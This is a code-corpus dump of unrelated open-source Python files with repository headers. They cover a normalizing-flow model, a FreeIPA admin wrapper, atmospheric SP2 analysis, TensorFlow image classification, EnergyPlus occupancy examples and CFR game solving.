z2 = intermediate_prior.sample()
else:
z2 = intermediate_zs[i]
z = Z.unsplit(z1, z2)
for j in reversed(range(self.hps.depth)):
z = self._reverse_flow_step('flow-level{}-depth{}'.format(i, j), z)
x = Z.unsqueeze(z + .5, 4) # post-process spectra
return x
def _flow_step(self, name, z, logdet):
with tf.compat.v1.variable_scope(name):
z, logdet = Z.actnorm('actnorm', z, logdet)
z, logdet = Z.invertible_1x1_conv('invconv', z, logdet, reverse=False)
z1, z2 = Z.split(z)
z2 += Z.f('f', z1, self.hps.width)
z = Z.unsplit(z1, z2)
return z, logdet
def _reverse_flow_step(self, name, z):
with tf.compat.v1.variable_scope(name):
z1, z2 = Z.split(z)
z2 -= Z.f('f', z1, self.hps.width)
z = Z.unsplit(z1, z2)
z, _ = Z.invertible_1x1_conv('invconv', z, 0, reverse=True)
z = Z.actnorm_reverse('actnorm', z)
return z
def _create_prior(self, z):
'''Create a unit normal Gaussian object with same shape as z.'''
mu = tf.zeros_like(z, dtype='float32')
logs = tf.zeros_like(z, dtype='float32')
return Z.gaussian_diag(mu, logs)
def train(self, lr):
'''Run one training batch to optimize the network with learning rate lr.
Returns:
stats: statistics created in _create_optimizer. probably contains loss.
'''
_, stats = self.sess.run([self.optimizer, self.stats], {self.lr_placeholder: lr})
return stats
def encode(self, s):
return self.sess.run([self.z, self.intermediate_zs], {self.s_placeholder: s})
def decode(self, z, intermediate_zs=None):
'''Decode a latent representation with optional intermediate components.
Returns:
spectra, from z and intermediate zs. If no intermediate zs are provided, sample them
randomly from unit normal distributions.
'''
feed_dict = {self.z_placeholder: z}
if intermediate_zs is None:
return self.sess.run(self.s, feed_dict)
else:
for i in range(len(intermediate_zs)):
feed_dict[self.intermediate_z_placeholders[i]] = intermediate_zs[i]
return self.sess.run(self.s_from_intermediate_zs, feed_dict)
def get_likelihood(self, s):
return self.sess.run(self.logpx, {self.s_placeholder: s})
| 2.265625 | 2 |
noggin/security/ipa_admin.py | mohanboddu/noggin | 0 | 12764261 | import random
from functools import wraps
from .ipa import Client
class IPAAdmin(object):
__WRAPPED_METHODS = ("user_add", "user_show", "user_mod", "group_add_member")
__WRAPPED_METHODS_TESTING = (
"user_del",
"group_add",
"group_del",
"group_add_member_manager",
"pwpolicy_add",
"otptoken_add",
"otptoken_del",
"otptoken_find",
)
def __init__(self, app):
self.__username = app.config['FREEIPA_ADMIN_USER']
self.__password = app.config['FREEIPA_ADMIN_PASSWORD']
app.config['FREEIPA_ADMIN_USER'] = '***'
app.config['FREEIPA_ADMIN_PASSWORD'] = '***' # nosec
self.__app = app
# Attempt to obtain an administrative IPA session
def __maybe_ipa_admin_session(self):
self.__client = Client(
random.choice(self.__app.config['FREEIPA_SERVERS']),
verify_ssl=self.__app.config['FREEIPA_CACERT'],
)
self.__client.login(self.__username, self.__password)
self.__client._request('ping')
return self.__client
def __wrap_method(self, method_name):
@wraps(getattr(Client, method_name))
def wrapper(*args, **kwargs):
ipa = self.__maybe_ipa_admin_session()
ipa_method = getattr(ipa, method_name)
res = ipa_method(*args, **kwargs)
ipa.logout()
return res
return wrapper
def __getattr__(self, name):
wrapped_methods = list(self.__WRAPPED_METHODS)
if self.__app.config['TESTING']: # pragma: no cover
wrapped_methods.extend(self.__WRAPPED_METHODS_TESTING)
if name in wrapped_methods:
return self.__wrap_method(name)
raise AttributeError(name)
| 2.3125 | 2 |
LEO_calc_coating_from_meas_scat_amp_and_write_to_db.py | annahs/atmos_research | 2 | 12764262 | <filename>LEO_calc_coating_from_meas_scat_amp_and_write_to_db.py
import sys
import os
import datetime
import pickle
import numpy as np
import matplotlib.pyplot as plt
from pprint import pprint
import sqlite3
import calendar
from datetime import datetime
#id INTEGER PRIMARY KEY AUTOINCREMENT,
#sp2b_file TEXT,
#file_index INT,
#instr TEXT,
#instr_locn TEXT,
#particle_type TEXT,
#particle_dia FLOAT,
#unix_ts_utc FLOAT,
#actual_scat_amp FLOAT,
#actual_peak_pos INT,
#FF_scat_amp FLOAT,
#FF_peak_pos INT,
#FF_gauss_width FLOAT,
#zeroX_to_peak FLOAT,
#LF_scat_amp FLOAT,
#incand_amp FLOAT,
#lag_time_fit_to_incand FLOAT,
#LF_baseline_pct_diff FLOAT,
#rBC_mass_fg FLOAT,
#coat_thickness_nm FLOAT,
#coat_thickness_from_actual_scat_amp FLOAT
#UNIQUE (sp2b_file, file_index, instr)
#connect to database
conn = sqlite3.connect('C:/projects/dbs/SP2_data.db')
c = conn.cursor()
c2 = conn.cursor()
instrument = 'UBCSP2'
instrument_locn = 'WHI'
type_particle = 'incand'
start_date = '20110105'
end_date = '20120601'
lookup_file = 'C:/Users/<NAME>/Documents/Data/WHI long term record/coatings/lookup_tables/coating_lookup_table_WHI_2012_UBCSP2-nc(2p26,1p26).lupckl'
rBC_density = 1.8
incand_sat = 3750
lookup = open(lookup_file, 'r')
lookup_table = pickle.load(lookup)
lookup.close()
c.execute('''SELECT * FROM SP2_coating_analysis''')
names = [description[0] for description in c.description]
pprint(names)
begin_data = calendar.timegm(datetime.strptime(start_date,'%Y%m%d').timetuple())
end_data = calendar.timegm(datetime.strptime(end_date,'%Y%m%d').timetuple())
def get_rBC_mass(incand_pk_ht, year):
if year == 2012:
rBC_mass = 0.003043*incand_pk_ht + 0.24826 #AD corrected linear calibration for UBCSP2 at WHI 2012
if year == 2010:
rBC_mass = 0.01081*incand_pk_ht - 0.32619 #AD corrected linear calibration for ECSP2 at WHI 2010
return rBC_mass
def get_coating_thickness(BC_VED,scat_amp,coating_lookup_table):
#get the coating thicknesses from the lookup table which is a dictionary of dictionaries, the 1st keyed with BC core size and the second being coating thicknesses keyed with calc scat amps
core_diameters = sorted(coating_lookup_table.keys())
prev_diameter = core_diameters[0]
for core_diameter in core_diameters:
if core_diameter > BC_VED:
core_dia_to_use = prev_diameter
break
prev_diameter = core_diameter
#now get the coating thickness for the scat_amp this is the coating thickness based on the raw scattering max
scattering_amps = sorted(coating_lookup_table[core_dia_to_use].keys())
prev_amp = scattering_amps[0]
for scattering_amp in scattering_amps:
if scat_amp < scattering_amp:
scat_amp_to_use = prev_amp
break
prev_amp = scattering_amp
scat_coating_thickness = coating_lookup_table[core_dia_to_use].get(scat_amp_to_use, np.nan) # returns value for the key, or none
return scat_coating_thickness
LOG_EVERY_N = 10000
i = 0
for row in c.execute('''SELECT incand_amp, LF_scat_amp, unix_ts_utc, sp2b_file, file_index, instr FROM SP2_coating_analysis
WHERE instr=? and instr_locn=? and particle_type=? and incand_amp<? and unix_ts_utc>=? and unix_ts_utc<?''',
(instrument,instrument_locn,type_particle,incand_sat,begin_data,end_data)):
incand_amp = row[0]
LF_amp = row[1]
event_time = datetime.utcfromtimestamp(row[2])
file = row[3]
index = row[4]
instrt = row[5]
rBC_mass = get_rBC_mass(incand_amp, event_time.year)
if rBC_mass >= 0.25:
rBC_VED = (((rBC_mass/(10**15*rBC_density))*6/3.14159)**(1/3.0))*10**7 #VED in nm with 10^15fg/g and 10^7nm/cm
coat_th = get_coating_thickness(rBC_VED,LF_amp,lookup_table)
else:
rBC_VED = None
coat_th = None
c2.execute('''UPDATE SP2_coating_analysis SET coat_thickness_from_actual_scat_amp=? WHERE sp2b_file=? and file_index=? and instr=?''', (coat_th, file,index,instrt))
i+=1
if (i % LOG_EVERY_N) == 0:
print 'record: ', i
conn.commit()
conn.close()
| 2.15625 | 2 |
scripts/gaze/object_tracking.py | isi-vista/adam-visual-perception | 1 | 12764263 | """ Test Object Tracking
This script receives a .tsv file as input which has already been labelled
and runs the four selected objects tracking algorithm on all videos.
The target object that is being gazed at by the person is presented in blue.
Parameters
----------
tsv_path : str, optional
Path to tsv file containing dataset information (default is "benchmarks/gaze.tsv")
tracker_type : str, optional
Tracking algorithm (default is "CSRT", possible values are ['BOOSTING', 'MIL', 'KCF','TLD', 'MEDIANFLOW', 'GOTURN', 'MOSSE', 'CSRT'])
use_gpu : bool, optional
Whether to use a gpu (default is False)
write_video : bool, optional
Whether to save the processed video via OpenCV (default is True)
"""
# External imports
from sacred import Experiment
from sacred.observers import FileStorageObserver
from collections import namedtuple
from adam_visual_perception import ObjectTracker
import pandas as pd
import numpy as np
import sys
import os
ex = Experiment()
@ex.config
def my_config():
tsv_path = "benchmarks/gaze.tsv"
tracker_type = "CSRT"
use_gpu = False
write_video = True
@ex.automain
def main(_config):
args = namedtuple('GenericDict', _config.keys())(**_config)
# Setting the random seed
np.random.seed(args.seed)
# Load tsv
if not os.path.isfile(args.tsv_path):
raise Exception("The path to tsv file cannot be found at {}.".format(args.tsv_path))
df = pd.read_csv(args.tsv_path, sep='\t')
# Definea tracker
ot = ObjectTracker(
tracker_type=args.tracker_type,
use_gpu=args.use_gpu,
detect_objects=False,
write_video=args.write_video,
)
for index, row in df.iterrows():
if len(row) == 6:
filename, o1, o2, o3, o4, label = row
print("Started {}".format(filename))
objs = [o1, o2, o3, o4]
bboxes = []
for bbox in objs:
if bbox is np.nan:
print("Skipping {}. No bounding boxes are provided".format(filename))
else:
bbox = tuple(map(int, bbox.strip("()").split(', ')))
bboxes.append(bbox)
ot.get_four_bboxes(filename, bboxes, label, args.write_video)
else:
print("Error: Did you forget to run the object labeling script?")
sys.exit()
print("Done!")
| 2.703125 | 3 |
push_deployment.py | eyalatox/Tableau-dummy | 0 | 12764264 | import os
def validate_helm_chart(helm_chart):
os.system(f'helm lint {helm_chart}') | 1.585938 | 2 |
plugins/pelican-plugins/pelicanfly/pelicanfly/tests/test_pelicanfly.py | dbgriffith01/blog_source | 0 | 12764265 | # -*- coding: utf-8 -*-
import os
from shutil import rmtree
from tempfile import mkdtemp
import unittest
from pelican import Pelican
from pelican.settings import read_settings
from pelican.tests.support import mute
from fontawesome_markdown import FontAwesomeExtension
import pelicanfly
CURRENT_DIR = os.path.dirname(os.path.abspath(__file__))
OUTPUT_PATH = os.path.abspath(os.path.join(CURRENT_DIR, 'output'))
INPUT_PATH = os.path.join(CURRENT_DIR, "content")
class TestPelicanfly(unittest.TestCase):
def setUp(self):
self.temp_path = mkdtemp(prefix='pelicanfly.')
pelicanfly_path, _ = os.path.join(os.path.split(pelicanfly.__file__))
self.pelicanfly_static = os.path.join(pelicanfly_path, 'static')
self.settings = read_settings(path=None,
override={
'PATH': INPUT_PATH,
'OUTPUT_PATH': self.temp_path,
'PLUGINS': [pelicanfly]})
self.pelican = Pelican(self.settings)
mute(True)(self.pelican.run)()
pass
def tearDown(self):
rmtree(self.temp_path)
pass
def test_add_markdown_plugin(self):
added = any([isinstance(x,FontAwesomeExtension)
for x in self.pelican.settings['MD_EXTENSIONS']])
self.assertTrue(added)
def test_add_static_paths(self):
theme = self.pelican.settings['THEME_STATIC_PATHS']
self.assertTrue(self.pelicanfly_static in theme)
def test_markdown_plugin(self):
sample_output = open(os.path.join(self.temp_path, 'pages', 'a-sample-page.html'), 'r')
self.assertTrue('<i class="fa fa-bug"></i>' in sample_output.read())
def test_assets_exist(self):
for static_dir in ['css', 'fonts']:
static_path = os.path.join(self.pelicanfly_static, static_dir)
for static_file in os.listdir(static_path):
in_theme = os.path.join(self.temp_path, 'theme',
static_dir, static_file)
self.assertTrue(os.path.exists(in_theme))
| 2.15625 | 2 |
test.py | tetzng/the-beatles-member-classifier | 0 | 12764266 | <reponame>tetzng/the-beatles-member-classifier
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import cv2
import random
import numpy as np
import tensorflow as tf
NUM_CLASSES = 4
IMAGE_SIZE = 28
IMAGE_PIXELS = IMAGE_SIZE*IMAGE_SIZE*3
flags = tf.app.flags
FLAGS = flags.FLAGS
flags.DEFINE_string('train', './data/train/data.txt', 'File name of train data')
flags.DEFINE_string('test', './data/test/data.txt', 'File name of train data')
flags.DEFINE_string('train_dir', './data', 'Directory to put the training data.')
flags.DEFINE_integer('max_steps', 100, 'Number of steps to run trainer.')
flags.DEFINE_integer('batch_size', 10, 'Batch size Must divide evenly into the dataset sizes.')
flags.DEFINE_float('learning_rate', 1e-4, 'Initial learning rate.')
def inference(images_placeholder, keep_prob):
def weight_variable(shape):
initial = tf.truncated_normal(shape, stddev=0.1)
return tf.Variable(initial)
def bias_variable(shape):
initial = tf.constant(0.1, shape=shape)
return tf.Variable(initial)
def conv2d(x, W):
return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')
def max_pool_2x2(x):
return tf.nn.max_pool(x, ksize=[1, 2, 2, 1],
strides=[1, 2, 2, 1], padding='SAME')
x_image = tf.reshape(images_placeholder, [-1, IMAGE_SIZE, IMAGE_SIZE, 3])
with tf.name_scope('conv1') as scope:
W_conv1 = weight_variable([5, 5, 3, 32])
b_conv1 = bias_variable([32])
h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1)
with tf.name_scope('pool1') as scope:
h_pool1 = max_pool_2x2(h_conv1)
with tf.name_scope('conv2') as scope:
W_conv2 = weight_variable([5, 5, 32, 64])
b_conv2 = bias_variable([64])
h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2)
with tf.name_scope('pool2') as scope:
h_pool2 = max_pool_2x2(h_conv2)
with tf.name_scope('fc1') as scope:
W_fc1 = weight_variable([7*7*64, 1024])
b_fc1 = bias_variable([1024])
h_pool2_flat = tf.reshape(h_pool2, [-1, 7*7*64])
h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)
h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)
with tf.name_scope('fc2') as scope:
W_fc2 = weight_variable([1024, NUM_CLASSES])
b_fc2 = bias_variable([NUM_CLASSES])
with tf.name_scope('softmax') as scope:
y_conv=tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2)
return y_conv
def loss(logits, labels):
cross_entropy = -tf.reduce_sum(labels*tf.log(logits))
tf.summary.scalar("cross_entropy", cross_entropy)
return cross_entropy
def training(loss, learning_rate):
train_step = tf.train.AdamOptimizer(learning_rate).minimize(loss)
return train_step
def accuracy(logits, labels):
correct_prediction = tf.equal(tf.argmax(logits, 1), tf.argmax(labels, 1))
accuracy = tf.reduce_mean(tf.cast(correct_prediction, "float"))
tf.summary.scalar("accuracy", accuracy)
return accuracy
if __name__ == '__main__':
f = open(FLAGS.train, 'r')
train_image = []
train_label = []
for line in f:
line = line.rstrip()
l = line.split()
img = cv2.imread(l[0])
img = cv2.resize(img, (28, 28))
train_image.append(img.flatten().astype(np.float32)/255.0)
train_image = np.asarray(train_image)
train_image.shape
| 2.625 | 3 |
cax/tasks/process_hax.py | XENON1T/cax | 2 | 12764267 | <filename>cax/tasks/process_hax.py
"""Process raw data into processed data
Performs batch queue operations to run pax.
"""
import sys
import os
import pax
import hax
from cax import qsub, config
from cax.task import Task
def init_hax(in_location, pax_version, out_location):
hax.init(experiment='XENON1T',
pax_version_policy=pax_version.replace("v", ""),
main_data_paths=[in_location],
minitree_paths=[out_location])
def verify():
"""Verify the file
Now is nothing. Could check number of events later?
"""
return True
def _process_hax(name, in_location, host, pax_version,
out_location, detector='tpc'):
"""Called by another command.
"""
print('Welcome to cax-process-hax')
os.makedirs(out_location, exist_ok=True)
init_hax(in_location, pax_version, out_location) # may initialize once only
print('creating hax minitrees for run', name, pax_version, in_location, out_location)
TREEMAKERS = ['Corrections', 'Basics', 'Fundamentals', 'PositionReconstruction',
'CorrectedDoubleS1Scatter', 'LargestPeakProperties', 'IsolatedPeaks',
'TotalProperties', 'Extended', 'Proximity', 'LoneSignalsPreS1',
'LoneSignals', 'FlashIdentification', 'SingleElectrons']
for treemaker in TREEMAKERS:
nRetries = 5
while nRetries > 0:
try:
print('Creating minitree', treemaker)
hax.minitrees.load_single_dataset(name, treemaker)
nRetries = 0
except Exception as exception:
os.remove("%s/%s_%s.root" % (out_location, name, treemaker))
print("Deleting %s/%s_%s.root" % (out_location, name, treemaker))
nRetries -= 1
if nRetries == 0:
raise
class ProcessBatchQueueHax(Task):
"Create and submit job submission script."
def verify(self):
"""Verify processing worked"""
return True # yeah... TODO.
def each_run(self):
thishost = config.get_hostname()
hax_version = 'v%s' % hax.__version__
pax_version = 'v%s' % pax.__version__
have_processed, have_raw = self.local_data_finder(thishost,
pax_version)
# Skip if no processed data
if not have_processed:
self.log.debug("Skipping %s with no processed data", self.run_doc['name'])
return
in_location = os.path.dirname(have_processed['location'])
out_location = config.get_minitrees_dir(thishost, pax_version)
queue_list = qsub.get_queue(thishost)
# Should check version here too
if self.run_doc['name'] in queue_list:
self.log.debug("Skipping %s currently in queue",
self.run_doc['name'])
return
self.log.info("Processing %s (%s) with hax_%s, output to %s",
self.run_doc['name'], pax_version, hax_version,
out_location)
_process_hax(self.run_doc['name'], in_location, thishost,
pax_version, out_location,
self.run_doc['detector'])
def local_data_finder(self, thishost, pax_version):
have_processed = False
have_raw = False
# Iterate over data locations to know status
for datum in self.run_doc['data']:
# Is host known?
if 'host' not in datum:
continue
# If the location doesn't refer to here, skip
if datum['host'] != thishost:
continue
# Check for raw data
if datum['type'] == 'raw' and datum['status'] == 'transferred':
have_raw = datum
# Check if processed data already exists in DB
if datum['type'] == 'processed' and datum['status'] == 'transferred':
if pax_version == datum['pax_version']:
have_processed = datum
return have_processed, have_raw
# Arguments from process function: (name, in_location, host, pax_version,
# out_location, ncpus):
def main():
_process_hax(*sys.argv[1:])
| 2.453125 | 2 |
src/setup.py | w0bos/onifw | 6 | 12764268 | #!/usr/bin/env python
from distutils.core import setup
setup(
name="onifw",
version="1.13",
description="pentest framework",
author="w0bos",
author_email="<EMAIL>",
packages=["packaging"]
)
| 0.828125 | 1 |
helper/degree_ratio.py | raindroid/GoldMiner-Verilog | 2 | 12764269 | from math import *
if __name__ == "__main__":
print("""
//To access data (signX[degree/2] ? -1 : 1) * absX[degree / 2 * 10 + 9 : degree / 2 * 10] / 100
module trigonometry(
input clock, enable,
output [1799: 0] absX, absY,
output [179:0] signX, signY
);
wire [1799: 0] rx, ry;
wire [180:0] rsx, rsy;
assign absX = rx;
assign absY = ry;
assign signX = rsx;
assign signY = rsy;
always @(posedge clock) begin
if (enable) begin //start init our big big table
""")
step = 2
deg = [t for t in range(0, 360, step)]
x = [int(100 * cos(t / 180 * pi)) for t in range(358, -2, -step)]
y = [int(100 * sin(t / 180 * pi)) for t in range(358, -2, -step)]
for a in range(len(deg)):
# print('\t\trdegree[%d:%d] \t= 10\'d%3d;' % (1799 - a * 9, 1790 - a * 9, deg[a]), sep = '')
print('\t\trx[%d:%d]\t= 10\'d%3d;' % (1799 - a * 10, 1790 - a * 10, abs(x[a])), sep='')
print('\t\try[%d:%d]\t= 10\'d%3d;' % (1799 - a * 10, 1790 - a * 10, abs(y[a])), sep='')
print('\t\trsx[%d] \t= 1\'b%4d;' % (179 - a, 0 if (abs(x[a]+0.1)/(x[a]+0.1) == 1) else 1), sep='')
print('\t\trsy[%d] \t= 1\'b%4d;' % (179 - a, 0 if (abs(y[a]+0.1)/(y[a]+0.1) == 1) else 1), sep='')
print("""
end
end
endmodule
""")
| 3.40625 | 3 |
cobs/examples/add_occupancy_example.py | odtoolkit/COBS | 0 | 12764270 | """
This is an example of how to add the occupancy into the model.
"""
from cobs import Model
Model.set_energyplus_folder("D:\\Software\\EnergyPlus\\")
mode = 1
model = Model(idf_file_name="../data/buildings/5ZoneAirCooled.idf",
weather_file="../data/weathers/USA_IL_Chicago-OHare.Intl.AP.725300_TMY3.epw",)
# Example of how to check the required fields for a new component
print(model.get_sub_configuration("Output:Variable"))
# --------------------------------------------------------------------------
# Sample of adding occupancy movement manually
# --------------------------------------------------------------------------
if mode == 1:
# Setup values for new components
occu_schedule_values = {"Name": "Test_Schedule",
"Schedule Type Limits Name": "Fraction",
"Field 1": "Through: 12/31",
"Field 2": "For: Alldays",
"Field 3": "Until: 05:00",
"Field 4": "0",
"Field 5": "Until 09:00",
"Field 6": "0.5",
"Field 7": "Until 17:00",
"Field 8": "0.95",
"Field 9": "Until 24:00",
"Field 10": "0.5"}
activity_values = {"Name": "Test_Activity_Schedule",
"Schedule Type Limits Name": "Any Number",
"Field 1": "Through:12/31",
"Field 2": "For: Alldays",
"Field 3": "Until 24:00",
"Field 4": "117"}
work_efficiency = {"Name": "Test_Work_Schedule",
"Schedule Type Limits Name": "Fraction",
"Field 1": "Through:12/31",
"Field 2": "For: Alldays",
"Field 3": "Until 24:00",
"Field 4": "0.1"}
cloth_schedule = {"Name": "Test_Cloth_Schedule",
"Schedule Type Limits Name": "Fraction",
"Field 1": "Through:12/31",
"Field 2": "For: Alldays",
"Field 3": "Until 24:00",
"Field 4": "0.9"}
air_velocity = {"Name": "Test_Air_Velocity",
"Schedule Type Limits Name": "Fraction",
"Field 1": "Through:12/31",
"Field 2": "For: Alldays",
"Field 3": "Until 24:00",
"Field 4": "0.25"}
people_values = {"Name": "Test",
"Zone or ZoneList Name": "SPACE1-1",
"Number of People Schedule Name": "Test_Schedule",
"Number of People": 5,
"Activity Level Schedule Name": "Test_Activity_Schedule",
"Work Efficiency Schedule Name": "Test_Work_Schedule",
"Clothing Insulation Schedule Name": "Test_Cloth_Schedule",
"Air Velocity Schedule Name": "Test_Air_Velocity",
"Thermal Comfort Model 1 Type": "Fanger"}
print(model.add_configuration("Schedule:Compact", values=occu_schedule_values))
print(model.add_configuration("Schedule:Compact", values=activity_values))
print(model.add_configuration("Schedule:Compact", values=work_efficiency))
print(model.add_configuration("Schedule:Compact", values=cloth_schedule))
print(model.add_configuration("Schedule:Compact", values=air_velocity))
print(model.add_configuration("People", values=people_values))
print(model.add_configuration("Output:Variable", values={"Variable Name": "Zone Thermal Comfort Fanger Model PMV",
"Reporting_Frequency": "timestep"}))
# --------------------------------------------------------------------------
# Sample of adding occupancy using OccupancyGenerator
# --------------------------------------------------------------------------
elif mode == 2:
from cobs import OccupancyGenerator as OG
OG(model).generate_daily_schedule(add_to_model=True)
# Example of check what is available for the state value
print(model.get_current_state_values())
if __name__ == '__main__':
state = model.reset()
while not model.is_terminate():
print(state)
state = model.step(list())
print("Done")
| 2.46875 | 2 |
normalizer.py | stackdumper/wot-vehicles-classifier | 0 | 12764271 | <reponame>stackdumper/wot-vehicles-classifier
# normalize data 0-1
def normalize(data):
normalized = []
for i in range(len(data[0])):
col_min = min([item[i] for item in data])
col_max = max([item[i] for item in data])
for q, item in enumerate([item[i] for item in data]):
if len(normalized) > q:
normalized[q].append((item - col_min) / (col_max - col_min))
else:
normalized.append([])
normalized[q].append((item - col_min) / (col_max - col_min))
return normalized
| 2.828125 | 3 |
open_spiel/python/examples/cfr_ma_autobattler_meta.py | opcheese/open_spiel | 0 | 12764272 | <gh_stars>0
# Copyright 2019 DeepMind Technologies Limited
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Example use of the CFR algorithm on Kuhn Poker."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from absl import app
from absl import flags
from open_spiel.python.algorithms import cfr_ma
from open_spiel.python.algorithms import exploitability
import pyspiel
import open_spiel.python.games.ma_autobattler_meta
import numpy as np
import pickle
import random
FLAGS = flags.FLAGS
flags.DEFINE_integer("iterations",20, "Number of iterations")
flags.DEFINE_string("game", "kuhn_poker", "Name of the game")
flags.DEFINE_integer("players", 3, "Number of players")
flags.DEFINE_integer("print_freq", 10, "How often to print the exploitability")
import logging
# create logger
logger = logging.getLogger("somelogger")
# set log level for all handlers to debug
logger.setLevel(logging.ERROR)
# create console handler and set level to debug
# best for development or debugging
consoleHandler = logging.StreamHandler()
consoleHandler.setLevel(logging.DEBUG)
# create formatter
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
# add formatter to ch
consoleHandler.setFormatter(formatter)
# add ch to logger
#logger.addHandler(consoleHandler)
def main(_):
game = open_spiel.python.games.ma_autobattler_meta.MaAutobattlerGameMeta()
for pen_ind in range(1):
penalty = 0.9
cfr_solver = cfr_ma.CFRPlusSolver(game, strategy_player=2,penalty=penalty)
for i in range(FLAGS.iterations):
print(i)
cfr_solver.evaluate_and_update_policy()
if i % FLAGS.print_freq == 0:
conv = exploitability.nash_conv(game, cfr_solver.average_policy(), has_strategy = True)
print("Iteration {} exploitability {}".format(i, conv))
a = cfr_solver.average_policy()
with open('autobattler_plus_{}.pkl'.format(penalty), 'wb') as fp:
pickle.dump(a, fp)
with open('autobattler_solver_plus_{}.pkl'.format(penalty), 'wb') as fp:
pickle.dump(cfr_solver, fp)
a1 = 0
a2 = 0
for i in range(10):
state = game.new_initial_state()
while not state.is_terminal():
if state.current_player() == pyspiel.PlayerId.CHANCE:
act = state.chance_outcomes()
actions = list(map(lambda x:x[0],act))
action = random.choice(actions)
print(state._action_to_string(state.current_player(),action))
state._apply_action(action)
else :
info_state_str = state.information_state_string(state.current_player())
state_policy = a.policy_for_key(info_state_str)
p = np.argmax(state_policy)
print(state._action_to_string(state.current_player(),p))
print(state)
if state.current_player() == 1:
# a1 = int(input())
# state._apply_action(a1)
state._apply_action(p)
else:
state._apply_action(p)
print(state)
a1+= state.game_res[0]
a2+= state.game_res[1]
print(a1,a2)
if __name__ == "__main__":
app.run(main)
| 1.976563 | 2 |
utils/parse_rose_total.py | JMB-McFarlane/SLICE | 0 | 12764273 | import subprocess
import os
import random
import math
scores = []
frame = []
workingdir = str(os.getcwd())
for file in os.listdir(workingdir):
mod = -1
if os.path.isdir(file) == True:
subdir = workingdir +'/'+ file + "/PROD/"
print subdir
os.popen("cd " + subdir)
subprocess.call("python " + subdir + "grabber.py",shell=True)
os.popen("cd " + workingdir)
print("python " + subdir + "grabber.py")
for file in os.listdir(subdir):
if ".out" in file:
submod = -1
# print file
inp = open(subdir + file,"r")
for line in inp:
if "VINA RESULT" in line:
scores.append([line.split()[3],subdir + 'pose'+str(submod)+'_'+file.split('.')[0]])
if "MODEL" in line:
mod = mod + 1
submod = submod + 1
scores.sort(key=lambda x: float(x[0]))
#cat = open("pdb_cat.pdbqt",'w')
n = 1
list_file = open("scores.dat",'w')
for items in scores:
# print items[1]
list_file.write(items[0] +' '+ items[1]+'\n')
# cat.write("MODEL " + str(n) + '\n')
# inp = open(items[1],'r')
# for line in inp:
# cat.write(line)
# cat.write('ENDMDL' +'\n')
n = n + 1
list_file.close()
def script_writer():
selected_files = open("selected.txt",'wr')
skim = 5
entry =1
script = open("leap_script.scr","wr")
script.write('source build.scr \n\n')
scores = []
lines = []
for line in open("scores.dat",'r'):
scores.append(float(line.split()[0]))
lines.append(line)
if entry <= skim:
selected_files.write(line + "\n")
entry = entry + 1
minE = min(scores)
maxE = max(scores)
beta = math.log(0.01)/(minE-maxE)
px_fill = []
for i in range(len(scores)):
px = (math.exp(beta*(minE - float(scores[i]))))
px_fill.append(px)
i=0
while i <= 4:
random_pick = random.randint(0,len(scores))
if px_fill[random_pick] >= random.uniform(0,1):
i = i+1
selected_files.write(lines[random_pick] + "\n")
selected_files.close()
selected = open("selected.txt",'r')
entry = 1
for line in selected:
if "pose" in line:
filesource = line.split()[1]
filename = "pose" + str(entry)
print(filename + " " + filesource)
script.write(filename + ' = loadpdb ' + filesource + '\n')
script.write('addions ' + filename + ' Na+ 0' +'\n')
script.write('addions ' + filename + ' Cl- 0' +'\n')
script.write('solvatebox ' + filename + ' TIP3PBOX 14' +'\n')
script.write('saveamberparm ' + filename + ' ' + filename + '.top ' + filename +'.crd \n\n' )
entry = entry + 1
script_writer()
| 2.4375 | 2 |
2_conditional_experiments/03_baseline_with_labels/fid_graph.py | Florian-Barthel/stylegan2 | 0 | 12764274 | <gh_stars>0
from graphs.fid_graph import plot_multiple_runs
plot_multiple_runs(
run_paths=[
'./../results/00184-stylegan2-car_images_512-2gpu-baseline_without_labels',
'./../results/00121-stylegan2-cars_v5_512-2gpu-baseline'
],
descriptions=[
'Baseline without Labels',
'Baseline with Labels'
],
xlabel='Million Images seen by the Discriminator',
ylabel='Fréchet Inception Distance',
title='Baseline with and without Labels',
filename='baseline_with_and_without_labels.png',
y_min=0,
y_max=20,
yticks=2,
x_min=0,
x_max=9)
| 1.835938 | 2 |
transmission_tui/tms_app.py | ironsigma/transmission-tui | 0 | 12764275 | <filename>transmission_tui/tms_app.py<gh_stars>0
"""The Transmission text based user interface application module."""
import curses
import logging
import time
from .daemon import TransmissionDaemon
from .logging_config import config_logging
from .transfer_list import TransferList
class TransmissionApp():
"""The main thread listening to user input."""
def __init__(self):
"""Initialize the app."""
config_logging()
logging.debug("Starting Transmission TUI...")
self._transmission = None
self._stdscr = None
def start(self):
"""Start the transmission daemon monitoring thread."""
self._transmission = TransmissionDaemon()
if not self._transmission.start():
return
curses.wrapper(self.start_ui)
def start_ui(self, stdscr):
"""Start the user input thread."""
self._stdscr = stdscr
self._init_curses()
transfer_list = TransferList(stdscr)
self._transmission.add_listener(transfer_list)
self._transmission.add_listener(self)
logging.debug('Listening for user input')
while True:
char = stdscr.getch()
if char == ord('q'):
logging.debug('Requested quit')
self._transmission.stop()
break
elif char == ord('k'):
logging.debug('Selection up')
elif char == ord('j'):
logging.debug('Selection down')
time.sleep(.25)
def _init_curses(self):
curses.init_pair(1, curses.COLOR_WHITE, curses.COLOR_BLUE)
curses.init_pair(2, curses.COLOR_BLUE, curses.COLOR_WHITE)
curses.curs_set(0)
self._stdscr.clear()
self._stdscr.refresh()
if __name__ == '__main__':
TransmissionApp().start()
| 2.453125 | 2 |
hiku/expr/refs.py | brabadu/hiku | 58 | 12764276 | from ..query import Node, Link, Field, merge
